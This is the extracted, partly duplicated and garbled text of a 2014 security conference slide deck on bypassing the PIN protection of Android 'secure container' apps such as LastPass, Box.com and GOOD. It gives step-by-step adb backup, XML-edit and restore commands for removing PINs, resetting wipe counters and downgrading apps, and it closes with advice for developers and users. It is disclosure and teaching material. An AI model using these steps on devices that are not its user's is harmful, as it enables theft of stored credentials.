2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 10: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 20

The devıce

ıs ınsecure

Chris John Riley | 22102014 | 21

worse still

Chris John Riley | 22102014 | 22

BYOD

Bring Your Own Disease

Chris John Riley | 22102014 | 24

Solution

Chris John Riley | 22102014 | 25

Move the security closer

to the data

Chris John Riley | 22102014 | 26

Chris John Riley | 22102014 | 27

buthellip

Chris John Riley | 22102014 | 28

hellip I lost my phone

Chris John Riley | 22102014 | 29

314 mobile phones stolen in London every day

offenders traced three or four times out of 10

Source UK Metropolitan Police 012013

Chris John Riley | 22102014 | 30

state of

securityDevice

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

